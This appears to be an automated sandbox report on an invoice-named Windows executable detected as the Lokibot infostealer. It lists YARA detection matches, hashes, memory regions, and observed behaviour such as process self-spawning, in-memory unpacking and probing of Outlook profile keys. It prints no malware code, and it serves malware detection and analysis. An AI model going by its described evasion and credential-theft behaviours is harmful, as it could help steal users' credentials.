Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2022-09-16
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_GENInfoStealer author = ditekSHen, description = Detects executables containing common artifcats observed in infostealers
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Loki_1 author = kevoreilly, description = Loki Payload, cape_type = Loki Payload
Source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000000.255040267.0000000000401000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Lokibot_0f421617 reference_sample = de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080, os = windows, severity = x86, creation_date = 2021-07-20, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = 9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda, id = 0f421617-df2b-4cb5-9d10-d984f6553012, last_modified = 2021-08-23
Source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Lokibot hash1 = 6f12da360ee637a8eb075fb314e002e3833b52b155ad550811ee698b49f37e8c, author = JPCERT/CC Incident Response Group, description = detect Lokibot in memory, rule_usage = memory scan, reference = internal research
Source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23
Source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6132, type: MEMORYSTR	Matched rule: Windows_Trojan_Lokibot_1f885282 reference_sample = 916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409, os = windows, severity = x86, creation_date = 2021-06-22, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Lokibot, fingerprint = a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b, id = 1f885282-b60e-491e-ae1b-d26825e5aadb, last_modified = 2021-08-23

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Code function: 0_2_00FAC164	0_2_00FAC164
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Code function: 0_2_00FAE5B0	0_2_00FAE5B0
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Code function: 0_2_00FAE5A0	0_2_00FAE5A0

Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000000.239185933.00000000004A6000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamemyHA.exeJ vs INV.2022LB0362 FORM CO (2).exe
Source: INV.2022LB0362 FORM CO (2).exe, 00000000.00000002.265282526.0000000007150000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameCollins.dll8 vs INV.2022LB0362 FORM CO (2).exe
Source: INV.2022LB0362 FORM CO (2).exe	Binary or memory string: OriginalFilenamemyHA.exeJ vs INV.2022LB0362 FORM CO (2).exe

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: INV.2022LB0362 FORM CO (2).exe	ReversingLabs: Detection: 70%
Source: INV.2022LB0362 FORM CO (2).exe	Virustotal: Detection: 56%

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process created: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\INV.2022LB0362 FORM CO (2).exe.log

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@61/1

Source: INV.2022LB0362 FORM CO (2).exe	Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll			Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Mutant created: \Sessions\1\BaseNamedObjects\8F9C4E9C79A3B52B3F739430

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook

Jump to behavior

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Data Obfuscation

Yara detected aPLib compressed binary

Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f81cb8.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.3f9bcd8.14.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.INV.2022LB0362 FORM CO (2).exe.2be79e0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.INV.2022LB0362 FORM CO (2).exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.262961989.0000000003F9B000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000000.255109806.0000000000415000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.259415034.0000000002BE7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.262806149.0000000003F48000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6092, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: INV.2022LB0362 FORM CO (2).exe PID: 6132, type: MEMORYSTR

.NET source code contains potential unpacker

Source: INV.2022LB0362 FORM CO (2).exe, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly System.AppDomain::Load(System.Byte[])
Source: 0.0.INV.2022LB0362 FORM CO (2).exe.3d0000.0.unpack, Form1.cs	.Net Code: InitializeComponent System.Reflection.Assembly System.AppDomain::Load(System.Byte[])

Source: INV.2022LB0362 FORM CO (2).exe

Static PE information: 0xDBD76B81 [Sat Nov 16 23:34:25 2086 UTC]

Source: initial sample

Static PE information: section name: .text entropy: 7.568253289628953

Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\INV.2022LB0362 FORM CO (2).exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
